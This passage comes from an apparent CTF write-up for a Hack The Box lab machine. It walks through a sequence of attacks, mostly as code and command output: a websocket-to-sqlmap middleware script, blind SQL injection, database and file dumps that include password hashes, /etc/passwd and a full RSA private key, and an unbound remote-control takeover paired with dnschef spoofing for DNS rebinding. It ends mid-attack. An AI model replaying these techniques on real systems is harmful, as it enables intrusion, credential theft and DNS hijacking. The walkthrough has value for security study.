    "message": "Available commands:<br>- coaches<br>- classes<br>- memberships",
    "token": "415d0b2e7de422c6758d8cfa7bbd0729731f73e9438408f3f5d47c33db27d747"
  }
```

The reused token was able to send commands to the websocket and there are three available commands listed when sending “help” -- **coaches**, **classes**, and **memberships**. Showing the output of each command:

```bash
$ python3 ws.py 
                                                                                   
  > coaches
  {
    "status": "200",
    "message": "Meet our amazing coaches!<br><br><img height=40 src='/img/team/member-1.jpg' class='thumbnail'></img> Will Smith<br><code>2017 World CrossFit Champion</code><br><br><img height=40 src='/img/team/member-2.jpg' class='thumbnail'></img> Maria Williams<br><code>2018 Fitness Guru of the year</code><br><br><img height=40 src='/img/team/member-3.jpg' class='thumbnail'></img> Jack Parker<br><code>2019 IronMan Champion</code><br><br>",
    "token": "ceca672d45c970472a71d831bc5f49417e7e22c831095b34f25b40e7a949d800"
  }

$ python3 ws.py 
                                                                                   
  > classes
  {
    "status": "200",
    "message": "Come see us and try one of our available classes for free! Our selection of amazing activities includes:<br><br>- CrossFit (Level 1 and 2)<br>- Fitness (Body and Mind)<br>- Climbing (Bouldering and Free)<br>- Cardio (Marathon training)<br>- Stretching (Isometric)<br>- Weight Lifting (Body Building, Power Lifting)<br>- Yoga (Power, Hatha, Kundalini)<br>- Nutrition (Customized meal plans)<br>- TRX (Suspension training)<br>",
    "token": "b0d8cd3f20d9bac4e251ee239324fee784a58546a04f622a931661dbb61cb272"
  }

$ python3 ws.py 
                                                                                   
  > memberships
  {
    "status": "200",
    "message": "Check the availability of our membership plans with a simple click!<br><br><b>1-month ($99.99)<b><br><button class='btn btn-sm btn-secondary' onclick=check_availability(1)>Availability</button><br><br><b>3-months ($129.99)<b><br><button class='btn btn-sm btn-secondary' onclick=check_availability(2)>Availability</button><br><br><b>6-months ($189.99 <del>$209.99</del>)<b><br><button class='btn btn-sm btn-secondary' onclick=check_availability(3)>Availability</button><br><br><b>1-year ($859.99 <del>$899.99</del>)<b><br><button class='btn btn-sm btn-secondary' onclick=check_availability(4)>Availability</button><br><br>",
    "token": "7099d83fd04e2a053f595492a89c48837a3c8f92360801f23537ea5d1203086d"
  }

```

Showing the messages in beautified format:

```markup
<!-- coaches -->
Meet our amazing coaches!<br><br>
<img height=40 src='/img/team/member-1.jpg' class='thumbnail'></img>Will Smith<br>
<code>2017 World CrossFit Champion</code><br><br>
<img height=40 src='/img/team/member-2.jpg' class='thumbnail'></img>Maria Williams<br>
<code>2018 Fitness Guru of the year</code><br><br>
<img height=40 src='/img/team/member-3.jpg' class='thumbnail'></img>Jack Parker<br>
<code>2019 IronMan Champion</code><br><br>

<!-- classes -->
Come see us and try one of our available classes for free! Our selection of amazing activities includes:<br><br>
- CrossFit (Level 1 and 2)<br>
- Fitness (Body and Mind)<br>
- Climbing (Bouldering and Free)<br>
- Cardio (Marathon training)<br>
- Stretching (Isometric)<br>
- Weight Lifting (Body Building, Power Lifting)<br>
- Yoga (Power, Hatha, Kundalini)<br>
- Nutrition (Customized meal plans)<br>
- TRX (Suspension training)<br>

<!-- memberships -->
Check the availability of our membership plans with a simple click!<br><br>
<b>1-month ($99.99)<b><br>
<button class='btn btn-sm btn-secondary' onclick=check_availability(1)>Availability</button><br><br>
<b>3-months ($129.99)<b><br>
<button class='btn btn-sm btn-secondary' onclick=check_availability(2)>Availability</button><br><br>
<b>6-months ($189.99 <del>$209.99</del>)<b><br>
<button class='btn btn-sm btn-secondary' onclick=check_availability(3)>Availability</button><br><br>
<b>1-year ($859.99 <del>$899.99</del>)<b><br>
<button class='btn btn-sm btn-secondary' onclick=check_availability(4)>Availability</button><br><br>
```

### 3.2 FUZZING COMMANDS

Nothing is usable as of the moment and after fuzzing what other commands might turn out something from the websocket, I eventually tried **“`availability`”** and **“`available`”**. The first one didn’t turn out anything but the latter generated a possibly good lead. This might be related to the `check_availability()` function as seen from the output from **memberships**. A parameter, **`id`**, is required and was stated to be undefined in the output and the value of which must be either one from 1-4:

```bash
$ python3 ws.py 
                                                                                   
  > available
  {
    "status": "200",
    "message": "I'm sorry, this membership plan is currently unavailable.",
    "token": "02e5580f54dc0b5159c27cd13726659a4040e6e4cc1278b2da417d3ad218c8eb",
    "debug": "[id: undefined]"
  }
```

Passing the parameter, id, simply as a field in the JSON payload, it should be done through a parameter called, **“`params`”**. The updated python script now looks like this:

```python
import asyncio
import json as j
import websockets as ws

async def request(target):
   async with ws.connect(target) as websocket:
       req = await websocket.send("init")
        token = j.loads(await websocket.recv())["token"]
       req_json = j.dumps({
            "message": "available",
              "params": 1,
            "token": token
        })
        req = await websocket.send(req_json)          
        res = await websocket.recv()
        return j.loads(res)

def main():
    target = "ws://crossfit.htb/ws"
    res = asyncio.get_event_loop().run_until_complete(request(target))
    print(j.dumps(res,indent=4))

if __name__ == "__main__": main()
```

And after running the script above:

```bash
$ python3 ws.py 
                                                                                   
  {
    "status": "200",
    "message": "Good news! This membership plan is available.",
    "token": "4b28241ea564cbc78c1fdd9fdd1cd20b968da1ca69e5206eb0fe98a18235feca",
    "debug": "[id: 1, name: 1-month]"
  }
```

### 3.3 SQLi OVER WEBSOCKETS

The parameter, **`id`**, is usually tested for SQL Injection vulnerabilities. It should be fairly easy, but in this case, it will be passed through a websocket that needs a valid token in order to check for exploitability. I came across this [**article**](https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html) which provides information on how to be able to run **`sqlmap`** over a websocket. The goal is to locally start a web server that will take the output from the websocket into a locally hosted page. This will essentially serve as a middleware for **`sqlmap`** and the websocket.

I modified my python script for the final time. This will start a web server on port 6969 where it will take values through a GET parameter, **`id`**, and pass it to the websocket on **10.10.10.232/ws**. The response of the websocket will then be written in the response body of the local server:

```python
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
import asyncio
import json as j
import websockets as ws

async def request(target, message):
   async with ws.connect(target) as websocket:
       req = await websocket.send("init")
        token = j.loads(await websocket.recv())["token"]
       req_json = j.dumps({
            "message": "available",
              "params": unquote(message).replace('"',"'"),
            "token": token
        })
        req = await websocket.send(req_json)          
        res = await websocket.recv()
        return j.loads(res)["message"]

def middleware_server(host_port):

    class CustomHandler(SimpleHTTPRequestHandler):
    def do_GET(self) -> None:
        self.send_response(200)
                
        params_get = urlparse(self.path).query.split('&')
        payload = dict()
        for i in params_get:
            param = i.split("=",1)
            payload[param[0]] = param[1]

        if "id" in payload:
            target = "ws://crossfit.htb/ws"
            message = payload["id"]
            content = asyncio.get_event_loop().run_until_complete(request(target, message))

        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(content.encode())
        return
    class Server(TCPServer): allow_reuse_address = True

    httpd = Server(host_port, CustomHandler)
    httpd.serve_forever()

def main():
    try: middleware_server(('0.0.0.0', 6969))
    except KeyboardInterrupt: pass

if __name__ == "__main__": main()
```

For the exploit to work, first start the server on another terminal:

```bash
$ python3 server.py
```

Then run **`sqlmap`** to know what kind of injections you can do if possible. In this case, a **boolean-based blind injection** was returned:

```bash
$ sqlmap -u http://localhost:6969/?id=1 --batch

  [..omitted..]
  ---
  Parameter: id (GET)
      Type: boolean-based blind
      Title: AND boolean-based blind - WHERE or HAVING clause
      Payload: id=1 AND 2563=2563
  ---
  [..omitted..]
```

Since the parameter, **`id`**, was considered vulnerable, the database could now be dumped:

```bash
$ sqlmap -u http://localhost:6969/?id=1 --batch --dbs

  [..omitted..]
  available databases [3]:
  [*] crossfit
  [*] employees
  [*] information_schema
  [..omitted..]

$ sqlmap -u http://localhost:6969/?id=1 --batch -D employees --tables

  Database: employees
  [2 tables]
  +----------------+
  | employees      |
  | password_reset |
  +----------------+

$ sqlmap -u http://localhost:6969/?id=1 --batch -D employees -T password_reset --dump

  Database: employees
  Table: password_reset
  [0 entries]
  +-------+-------+---------+
  | email | token | expires |
  +-------+-------+---------+
  +-------+-------+---------+

$ sqlmap -u http://localhost:6969/?id=1 --batch -D employees -T employees --dump
```

**employees.password\_reset** has no entries. It is possible that a token is saved there whenever a password reset is requested from <http://employees.crossfit.htb/password-reset.php>.&#x20;

The table, employees.employees, contains the usernames and password hashes of all users. However, none of which are crackable:

| id |     username    |             email             | password                                                           |
| -- | :-------------: | :---------------------------: | ------------------------------------------------------------------ |
| 1  | `administrator` |  `david.palmer@crossfit.htb`  | `fff34363f4d15e958f0fb9a7c2e7cc550a5672321d54b5712cd6e4fa17cd2ac8` |
| 2  |     `wsmith`    |   `will.smith@crossfit.htb`   | `06b4daca29092671e44ef8fad8ee38783b4294d9305853027d1b48029eac0683` |
| 3  |   `mwilliams`   | `maria.williams@crossfit.htb` | `fe46198cb29909e5dd9f61af986ca8d6b4b875337261bdaa5204f29582462a9c` |
| 4  |    `jparker`    |   `jack.parker@crossfit.htb`  | `4de9923aba6554d148dbcd3369ff7c6e71841286e5106a69e250f779770b3648` |

Now that valid emails are found, we can now issue a password reset:

![](https://lh4.googleusercontent.com/anu_CauEjWW8lv9qbnK9-yjd5g-lIc0OP_-lMv5uqXgEu8l-SSZG5A3c0grCwBwYlUSyzSKJjtLp0nwdkwJSzehi6jUPU9GF265BdKv_zznA9xqhTX-pQsRHl-U_AP3Xc5bObRe8)

Which then responds with “**Reset link sent, please check your email.**”

![](https://lh3.googleusercontent.com/5uhsbRdm6TeQ4NksFiDQ7yARri3TyX5ub7hB6JzEmTvyjYg6T7Bs1lB9anT07VB_DBAoWPNFX_473AMuGl9118bafz3T_NnZnGSx0IpFwpbw8IIC9wI8EKc56tIkHgzu0lcRkmOx)

A reset token is indeed saved in the **employees.password\_reset** table but it seems that it is deleted once the password reset link has been “clicked”. Given that the SQL Injection vulnerability is boolean-based blind, the exact value of the token can’t be extracted in one go and takes quite some time to fully extract. The race condition seems impossible based on the current parameters given.

### 3.4 VHOST ENUMERATION

What else can be done with the SQL injection vulnerability is to read files from the server:

```bash
$ sqlmap -u http://localhost:6969/?id=1 --batch --file-read=/etc/passwd

  [..omitted..]
  [INFO] fetching file: '/etc/passwd'
  [INFO] retrieved: 726F6F743A2A3A303A303A436861726C696520263A2F726[..omitted..]
```

The file is encoded in hex but when decoded, it shows the contents of the **`/etc/passwd`** file:

```
root:*:0:0:Charlie &:/root:/bin/ksh
[..omitted..]
lucille:*:1002:1002:,,,:/home/lucille:/bin/csh
node:*:1003:1003::/home/node:/bin/ksh
[..omitted..]
david:*:1004:1004:,,,:/home/david:/bin/csh
john:*:1005:1005::/home/john:/bin/csh
[..omitted..]
```

The files, **`httpd.conf`** and **`relayd.conf`**, were also read from the server which contains the  configuration for virtual hosts deployed in OpenBSD:

```bash
$ sqlmap -u http://localhost:6969/?id=1 --batch --file-read=/etc/httpd.conf

  [..omitted..]
  [INFO] fetching file: '/etc/httpd.conf'
  [INFO] retrieved: 2320244F70656E4253443A2068747470642E636F6E662C7[..omitted..]

$ sqlmap -u http://localhost:6969/?id=1 --batch --file-read=/etc/relayd.conf

  [..omitted..]
  [INFO] fetching file: '/etc/relayd.conf'
  [INFO] retrieved: 7461626C653C313E7B3132372E302E302E317D0A7461626[..omitted..]
```

The contents of **`/etc/httpd.conf`** reveals that there is another virtual host running called “**chat**”:

```bash
# $OpenBSD: httpd.conf,v 1.20 2018/06/13 15:08:24 reyk Exp $


types {
    include "/usr/share/misc/mime.types"
}

[..omitted..]

server "chat" {
    no log
    listen on lo0 port 8002

        root "/htdocs_chat"
        directory index index.html

    location match "^/home$" {
        request rewrite "/index.html"
    }
    location match "^/login$" {
        request rewrite "/index.html"
    }
    location match "^/chat$" {
        request rewrite "/index.html"
    }
    location match "^/favicon.ico$" {
        request rewrite "/images/cross.png"
    }
}
```

While the contents of **`/etc/relayd.conf`** reveals that there is another domain, “**crossfit-club.ht**b”. What is interesting here is that both **crossfit-club.htb** and **employees.crossfit.htb** are prefixed with a wildcard (**`*`**) and all connections are routed to localhost:

```bash
table<1>{127.0.0.1}
table<2>{127.0.0.1}
table<3>{127.0.0.1}
table<4>{127.0.0.1}
http protocol web{
    pass request quick header "Host" value "*crossfit-club.htb" forward to <3>
    pass request quick header "Host" value "*employees.crossfit.htb" forward to <2>
    match request path "/*" forward to <1>
    match request path "/ws*" forward to <4>
    http websockets
}

table<5>{127.0.0.1}
table<6>{127.0.0.1 127.0.0.2 127.0.0.3 127.0.0.4}
http protocol portal{
    pass request quick path "/" forward to <5>
    pass request quick path "/index.html" forward to <5>
    pass request quick path "/home" forward to <5>
    pass request quick path "/login" forward to <5>
    pass request quick path "/chat" forward to <5>
    pass request quick path "/js/*" forward to <5>
    pass request quick path "/css/*" forward to <5>
    pass request quick path "/fonts/*" forward to <5>
    pass request quick path "/images/*" forward to <5>
    pass request quick path "/favicon.ico" forward to <5>
    pass forward to <6>
    http websockets
}

relay web{
    listen on "0.0.0.0" port 80
    protocol web
    forward to <1> port 8000
    forward to <2> port 8001
    forward to <3> port 9999
    forward to <4> port 4419
}

relay portal{
    listen on 127.0.0.1 port 9999
    protocol portal
    forward to <5> port 8002
    forward to <6> port 5000 mode source-hash
}
```

Now, updating the **`/etc/hosts`** file to contain **crossfit-club.htb**:

```bash
$ cat /etc/hosts | grep 10.10.10.232                                   
                                                          
  10.10.10.232    employees.crossfit.htb crossfit-club.htb crossfit.htb
```

Then, looking at the contents of <http://crossfit-club.htb>, it leads you to a sign-in page and trying to navigate to **/home** or **/chat** redirects you back to **/login** while the sign up functionality is disabled.

![](https://lh3.googleusercontent.com/iPgfAwsGoGBHbCgDn9aNYragA2lmELGsKfRAEUJC2G1Bl0XoTGma-CPo9-0pJd3bJeRw3yF-S5fTJPqLlfYJeHk3N0EfMDyrMviyegIY9SugS0tak-zE2h6zRgvPM--xS4Y1eLMN)

### 3.5 DNS REBINDING

Going back to previous findings, there is an open port for **unbound-dns-control**. Trying to read its configuration file using the SQL Injection vulnerability earlier:

```bash
$ sqlmap -u http://localhost:6969/?id=1 --batch --file-read=/var/unbound/etc/unbound.conf

  [..omitted..]
  [INFO] fetching file: '/var/unbound/etc/unbound.conf'
  [INFO] retrieved: 7365727665723A0A09696E746572666163653A203132372[..omitted..]
```

Which when decoded shows the following:

```bash
server:
    interface: 127.0.0.1
    interface: ::1
    access-control: 0.0.0.0/0 refuse
    access-control: 127.0.0.0/8 allow
    access-control: ::0/0 refuse
    access-control: ::1 allow
    hide-identity: yes
    hide-version: yes
    msg-cache-size: 0
    rrset-cache-size: 0
    cache-max-ttl: 0
    cache-max-negative-ttl: 0
    auto-trust-anchor-file: "/var/unbound/db/root.key"
    val-log-level: 2
    aggressive-nsec: yes
    include: "/var/unbound/etc/conf.d/local_zones.conf"

remote-control:
    control-enable: yes
    control-interface: 0.0.0.0
    control-use-cert: yes
    server-key-file: "/var/unbound/etc/tls/unbound_server.key"
    server-certfile: "/var/unbound/etc/tls/unbound_server.pem"
    control-key-file: "/var/unbound/etc/tls/unbound_control.key"
    control-cert-file: "/var/unbound/etc/tls/unbound_control.pem"
```

Absolute paths for the certificate and key files are written in the configuration file and reading those files from the server using **`sqlmap`**:

```bash
$ sqlmap -u http://localhost:6969/?id=1 --batch --file-read=/var/unbound/etc/tls/unbound_server.key

  [..omitted..]
  [INFO] fetching file: '/var/unbound/etc/tls/unbound_server.key'
  [INFO] retrieved: [..omitted..]

$ sqlmap -u http://localhost:6969/?id=1 --batch --file-read=/var/unbound/etc/tls/unbound_server.pem

  [..omitted..]
  [INFO] fetching file: '/var/unbound/etc/tls/unbound_server.pem'
  [INFO] retrieved: 2D2D2D2D2D424547494E2043455254494649434154452D2[..omitted..]

$ sqlmap -u http://localhost:6969/?id=1 --batch --file-read=/var/unbound/etc/tls/unbound_control.key

  [..omitted..]
  [INFO] fetching file: '/var/unbound/etc/tls/unbound_control.key'
  [INFO] retrieved: 2D2D2D2D2D424547494E205253412050524956415445204[..omitted..]

$ sqlmap -u http://localhost:6969/?id=1 --batch --file-read=/var/unbound/etc/tls/unbound_control.pem

  [..omitted..]
  [INFO] fetching file: '/var/unbound/etc/tls/unbound_control.pem'
  [INFO] retrieved: 2D2D2D2D2D424547494E2043455254494649434154452D2[..omitted..]
```

The **unbound\_server.key** file couldn’t be read but the other certificate files could be read:

{% tabs %}
{% tab title="unbound\_server.pem" %}

```bash
-----BEGIN CERTIFICATE-----
MIIDoDCCAggCCQDx3ZJ+FQdNnjANBgkqhkiG9w0BAQsFADASMRAwDgYDVQQDDAd1
bmJvdW5kMB4XDTIxMDExMTA3MDExMFoXDTQwMDkyODA3MDExMFowEjEQMA4GA1UE
AwwHdW5ib3VuZDCCAaIwDQYJKoZIhvcNAQEBBQADggGPADCCAYoCggGBALaSthKv
1/LXjUfayIL0K3ThP3vs1+PpaPKPiRkj7VYKL3Q3lvHbCEzmjwFxzrYfykbJnrdm
7pgPVGlWbra2ifSfNokVcC/sblub7GXvUKUWbK5Javr7vI8Eljvn9q28ze9FZz6W
1ZojGXSU9M1KU5kslNTnF4sTLcvU9UJGW37Kv/hGqlN8MYFUCM5jOke94rewUuoT
9xw4cveDnMcHwjBlbSQL6R2e7GQWlU/vb1ntDq1nFE3Bu7tK+JD3Ni9Rt7jTfr/u
ezZPuEg/6z1iKtnmXNOCwZGHS5gOdGRQaf4USnjYy7DaSVwXsOQUpZ6tWptolyp9
BrZM3Q1UHG0OZYCNo04i8kL50a9pVggs7Q0TvSqO2KgYMRj78vNzotPE+8FQpj9+
7glV12BQSuh53lNS32WpwTS1yYfvw2sXt/m+BW5Ts6musGj0AANWd6BZAm735qXQ
nt719NzFQsYv0fcFAmbmgXV1X2ZhwZvxJWGDpsyLlNQKjhTWXb4J32hIzwIDAQAB
MA0GCSqGSIb3DQEBCwUAA4IBgQCmHuw7ol3PfJxidmjDkqJtA+Q4OOqgfHHAoq33
pQe2CbQEk50AZMdezxXN0I7ToOkEkXES6BiKDn7FAlOmElCAvYZhVkq7OwgHSECr
tvwiap5exR9W1cFxojz7ufWWpk+2F3RRJhudmaCMlf5KIFMK4BqNt1aHjsM7rshP
jJ3AsELCSgpOVCuc+Jnq+4IzbNNq55oMVq6k5ETsi4TgFew3gJfMEibF5zVbsXMK
A+cpyhRN+XXD0maS+C2BC2a5kGb8jp5otPXDRsJgJWrPb5irGWY9in7w8ZdOMW6v
FcSaLnz9bQ7q93+dbhPFRbjz+QWahvQyw91muwPmkLCB7OLWedha5tfuW1e4WNjt
PCAMbsSgTHsPgrrm0IoK8AfxJht9wE1Dm4XfmXSGgHU6Q7usscoV0dx47m+vmFYZ
Z1faM16lBqfIDDOHm23bIPkO08BH4VaO7HYXlXQY1RGRYH9NJlkR6+lgduK9DkNM
SeJIPkiQql3fH2trxxZ5i4P23Bk=
-----END CERTIFICATE-----
```

{% endtab %}

{% tab title="unbound\_control.key" %}

```bash
-----BEGIN RSA PRIVATE KEY-----
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
-----END RSA PRIVATE KEY-----
```

{% endtab %}

{% tab title="unbound\_control.pem" %}

```bash
-----BEGIN CERTIFICATE-----
MIIDqDCCAhACCQDWXoAtKiio/DANBgkqhkiG9w0BAQsFADASMRAwDgYDVQQDDAd1
bmJvdW5kMB4XDTIxMDExMTA3MDExM1oXDTQwMDkyODA3MDExM1owGjEYMBYGA1UE
AwwPdW5ib3VuZC1jb250cm9sMIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKC
AYEA1iFWNkx522Iel9n5Coc2tnKz2pPc2DPMmcDEvychJNxAYt2eJufh1MjpGSvB
vT7IGDNDVtzioJ0pxKAjMdg+CdyVt05oWt/r5mwBeq8NOUKthX3E+159PybYNZ3p
W5OTqe3Uc6q5rwSpwxOEWUFsirlVc9CJeWYTrU+ORI+V4yNZWKuSuI+wo9KccvDf
rMJAQN2q0b0gX+Bo/PIBeMfJta8QZ5Y5dt5oAEiyIZio0ktQnaAf/Jg9RQ+7HDS8
1e9/rR06iluMRWlQQDuxi8O5wonD9OQFQ+p8D24tnBR/a6kaNfTRsOElisw7sH2t
pyzXm1HUDWfOT3twODd+7ts2SIOrPA9mb1Xlooxtcg1BnwBNNvcmQ729PE3ZfdCv
MauUkgACrv7Xm1TEghHvkyi+RQ/wiIvGsfzcKl+Fb8XTqmOVksQH+L7TLJqwuTjx
kreocUduH/k2L1kBKH2lVoS1RHGrMDChdK33UOA5fqbkvhyqQKmFDgJw0gT8XZSp
5QIJAgMBAAEwDQYJKoZIhvcNAQELBQADggGBABa6nHiCp705OQr6VIYwVBwrli0m
OSYtqqMP/gGZEFsKE3A25zDKxlTO7agdOc9VxT2vAZjYWB3gVTI2dCGOZGqkZDCB
X784yW/5QcDfrEUA2t0nMr1d5cdcKQX2GKtUmZMZg4icHeEihCA3H9Hx1FF3xIww
r36CKvBmT1UXPZk8JBiDurEr8cvjZsQfcKq1gbRPsiDQKXUaSnp1kn+h0j+nEbYE
Qs50nOjbLWLqwXC4Se9fxhpIJREsT2KF9rPeUjvp9SScLkA43nGtXcggVJ0IkG3W
7iLP0eLcM5kwTUA9wJErbLR81skjtoPdMnIkOsH31z4Q775XC9+togBu1ie7u51o
K3zdrp3SNkpbmwZlMVxOqOXHVm+VStciupN85aqOTWBsx+kIF27wj8ti2b1ZwR3K
58q6TDWQpj3p51003I0sMX/t/TCcnZebInuVScyLmP4EQEdLg5kS0y3IeLEcD8z/
2OjsKXq82GFb12+I7fEFcb4PTtv+jG2pkq+ajw==
-----END CERTIFICATE-----
```

{% endtab %}
{% endtabs %}

Editing the **unbound** configuration that was exfiltrated from the server leaving only the **`remote-control`** section and replace the certificate and key files with the absolute path of where they were saved:

```bash
remote-control:
    control-enable: yes
    control-interface: 0.0.0.0
    control-use-cert: yes
    server-key-file: "/home/kali/boxes/htb/CrossFitTwo/unbound_server.key"
    server-cert-file: "/home/kali/boxes/htb/CrossFitTwo/unbound_server.pem"
    control-key-file: "/home/kali/boxes/htb/CrossFitTwo/unbound_control.key"
    control-cert-file: "/home/kali/boxes/htb/CrossFitTwo/unbound_control.pem"
```

Then, check if the **unbound** server could now be reached:

```bash
$ unbound-control -c new_unbound.conf -s 10.10.10.232@8953 status

  version: 1.11.0
  verbosity: 1
  threads: 1
  modules: 2 [ validator iterator ]
  uptime: 10 seconds
  options: control(ssl)
  unbound (pid 54634) is running...
```

The new unbound config successfully reached the server and this should be enough to perform a DNS rebind and if you recall from what was written in **`relayd.conf`** wherein ***employees.crossfit.htb** and* **crossfit-club.htb** are prefixed with a wildcard and are then routed to localhost.&#x20;

If a new zone is forwarded into the unbound server like **fake-employees.crossfit.htb**, it should be routed to the same destination as **employees.crossfit.htb**.

To verify this, a new subdomain, **fake-employees.crossfit.htb**, will be forwarded using **`unbound-control`**&#x74;hen start a DNS proxy with **`dnschef`** and finally, check if a successful request could be made to the same endpoints of **employees.crossfit.htb** using **fake-employees.crossfit.htb**:

```bash
$ unbound-control -c new_unbound.conf -s 10.10.10.232@8953 forward_add +i fake-employees.crossfit.htb 10.10.14.28@53

  ok
```

Now, starting a DNS proxy:

```bash
$ sudo dnschef --fakedomains fake-employees.crossfit.htb --fakeip 10.10.14.28 -i 10.10.14.28

               _                _           __  
              | | version 0.4  | |        / _|
            __| |_ __  ___  ___| |__   ___| |_
           / _` | '_ \/ __|/ __| '_ \ / _ \  _|
          | (_| | | | \__ \ (__| | | |  __/ |  
           \__,_|_| |_|___/\___|_| |_|\___|_|  
                   iphelix@thesprawl.org  

  (10:14:48) [*] DNSChef started on interface: 10.10.14.28
  (10:14:48) [*] Using the following nameservers: 8.8.8.8
  (10:14:48) [*] Cooking A replies to point to 10.10.14.28 matching: fake-employees.crossfit.htb
```

Then, making a request to **/password-reset.php** which is an endpoint of **employees.crossfit.htb**:

```bash
$ curl -d "email=david.palmer@crossfit.htb" --resolve fake-employees.crossfit.htb:80:10.10.10.232 -X POST http://fake-employees.crossfit.htb/password-reset.php

  [..omitted..]
  Only local hosts are allowed.
  [..omitted..]
```

An error message is encountered -- “**Only local hosts are allowed.**” But the remote machine is needed to make a request from our local machine (via the **`--fakeip`** option from **`dnschef`**).

Maybe this could be done by first requesting a password reset by setting the **`--fakeip`** option to **127.0.0.1** after which, cancel the proxy then start a new one at my local IP (**10.10.14.28**). But first, checking if the password reset will succeed:

```bash
$ unbound-control -c new_unbound.conf -s 10.10.10.232@8953 forward_add +i fake-employees.crossfit.htb 10.10.14.28@53

  ok
```

Starting a DNS proxy but this time the **`--fakeip`** is **127.0.0.1**:

```bash
$ sudo dnschef --fakedomains fake-employees.crossfit.htb --fakeip 127.0.0.1 -i 10.10.14.28

               _                _           __  
              | | version 0.4  | |        / _|
            __| |_ __  ___  ___| |__   ___| |_
           / _` | '_ \/ __|/ __| '_ \ / _ \  _|
          | (_| | | | \__ \ (__| | | |  __/ |  
           \__,_|_| |_|___/\___|_| |_|\___|_|  
                   iphelix@thesprawl.org   

  (10:29:37) [*] DNSChef started on interface: 10.10.14.28
  (10:29:37) [*] Using the following nameservers: 8.8.8.8
  (10:29:37) [*] Cooking A replies to point to 127.0.0.1 matching: fake-employees.crossfit.htb
```

Finally, making a request to **/password-reset.php** which is an endpoint of **employees.crossfit.htb**:

```bash
$ curl -d "email=david.palmer@crossfit.htb" --resolve fake-employees.crossfit.htb:80:10.10.10.232 -X POST http://fake-employees.crossfit.htb/password-reset.php

  [..omitted..]
